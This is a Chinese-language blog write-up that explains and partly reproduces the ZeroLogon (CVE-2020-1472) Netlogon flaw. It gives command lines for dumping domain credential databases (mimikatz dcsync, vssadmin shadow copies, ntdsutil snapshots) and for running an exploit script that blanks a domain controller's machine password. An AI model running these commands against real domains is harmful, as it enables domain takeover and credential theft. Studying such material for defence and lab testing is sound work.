CVE-2020-1472的分析与复现
0x01 原理简介
Netlogon远程协议(也称为MS-NRPC)是一个WIndows域控上使用的远程进程调用(RPC)接口,仅由连接到域的设备使用。 MS-NRPC包括身份验证方法和建立Netlogon安全通道的方法。这些更新强制指定的Netlogon客户端行为,以便在成员计算机和Active Directory (AD)域控制器(DC)之间使用带有Netlogon安全通道的安全RPC。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。
ZeroLogon (CVE-2020-1472) 影响域内登录认证协议Netlogon (MS-NRPC) 中所使用的加密身份验证方案 (AES-CFB8),在通过NetLogon协议与AD域控建立安全通道(RPC)时,强行登录尝试,对全零的纯文本应用AES-CFB8加密将导致全零的密文,从而可以绕过正常认证,进一步可获取域管理员HASH,获取域管权限 。
AES-CFB8的工作原理是,通过在明文前面添加一个16字节的初始化矢量(IV),然后将AES应用于IV和明文的前16个字节,并采用AES输出的第一个字节,来加密明文的每个字节,然后将其与下一个纯文本字节进行异或。
利用身份验证协议的方法是强行登录尝试。对于256个密钥中的1个,对全零的纯文本应用AESCFB8加密将导致全零的密文,从而启用登录绕过,这就是名称zerologon的来源。
使用NetrServerPasswordSet2方法,可以为客户端创建一个新密码,该密码可以使用AES-CFB8用会话密钥进行加密。 Netlogon纯文本密码由516个字节组成,后四个表示密码长度。通过提供516个零,它将被解密为516个零或一个空密码。以这种方式更改密码只能在AD中进行更新。
[MS-NRPC]: 网络服务器密码集 2 (运营 30) |微软文档 (microsoft.com)
大部分漏洞利用代码的工作原理是,向netlogon通道发送带有多个空字节的身份验证请求,然后发送一个零的密码文本和用于身份验证的质询标志
0x02 ntds.dit
那什么又是ntds.dit?
Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit
,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。这也是使用mimikatz经常需要导出的文件
1 | ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit |
导出该文件的方法也是有多种
mimikatz-dcsync
前提:高权限
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
1 | 1.mimikatz lsadump::dcsync /domain:redteam.com /all /csv //可以通过dcsync直接获取test域内所有用户hash |
这里报了个错…….估计是环境原因
vssadmin卷影拷贝
vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
适用机器:Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008
参考链接: vssadmin | Microsoft Docs
1 | 1.vssadmin create shadow /for=C: //创建c盘卷影拷贝 |
1 | 复制sam或者system文件: |
ntdsutil.exe
Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,该工具被默认安装在了域控制器上,可以在域控上直接操作,也可以通过域内机器在域控上远程操作,但是需要管理员权限。使⽤ ntdsutil.exe,可以维护和管理活动⽬录数据
库、控制单个主机操作、创建应⽤程序⽬录分区、删除由未使⽤活动⽬录安装向导(DCPromo.exe)成功降级的
与控制器留下的元数据等。
1 | ntdsutil snapshot "activate instance ntds" create quit quit //首先建立快照,该快照包含Windows中的所有文件,且在复制时不会受到Windows锁定机制的影响 |
创建了一个名为 de5c45d4-a705-46ec-96be-2cea86441410
的快照
1 | ntdsutil snapshot "mount {ID}" quit quit //加载刚刚的快照 |
3.
1 | copy C:\$SNAP_202111120118_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit |
//将快照中的ntds.dit拷贝到c盘
4.
1 | ntdsutil snapshot "mount {de5c45d4-a705-46ec-96be-2cea86441410}" "delete {de5c45d4-a705-46ec-96be-2cea86441410}" quit quit |
//删除刚才创建的快照
除了利用上面那种操作来获取ntds.dit外,还可以利用Ntdsutil.exe创建媒体安装集(IFM)来用于提取NTDS.dit文件。在使用ntdsutil创建创建媒体安装集(IFM)时,会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作,我们可以利用该过程获取NTDS.dit文件,需要管理员权限。
Ntdsutil是本地处理 Active Directory 的命令实用程序,并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。
当创建一个IFM时,VSS快照会被自动拍摄,挂载,NTDS.DIT文件和相关数据被复制到目标文件夹中。
在域控制器中执行如下命令即可:
1 | ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit //生成文件 |
文件夹里保存着需要的文件
总结
当然获取ntds.dit的方法还有很多,有很多工具和脚本,这里就不一一细说了,本来只打算复现下 zerologon ,扯远了
0x03 漏洞利用
影响系统版本:该 Win2008 后的所有版本
1 | Windows Server 2008 R2 for x64-based Systems Service Pack 1 |
利用条件:
1 | 攻击者只需要定位域控主机名及IP,并且可以访问域控,就可以在无需任何凭据的情况下拿到域管理员的权限,甚至不需要在域内 |
注意:域控的机器帐户HASH存储在注册表中,系统启动时会将其加载到lsass,当攻击置空域控HASH后,仅AD (NTDS.DIT) 中的密码会更改,而不是注册表或加载到lsass中的密码,域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,这样将会导致域控脱域,无法使用Kerberos进行身份验证,因此要尽快恢复。
1 | 1.python cve-2020-1472-exploit.py ad-2012 10.0.0.12 //使用脚本将域控机器账户重置 |
环境出了点问题,这里的图自行脑补
ZeroLogon(CVE-2020-1472) 分析与狩猎 - 云+社区 - 腾讯云 (tencent.com)
(31条消息) ZeroLogon (CVE-2020-1472) 漏洞利用_Captain_RB的博客-CSDN博客
内网渗透测试:从NTDS.dit获取域散列值 - FreeBuf网络安全行业门户
挖个坑,改日来补~
Peace.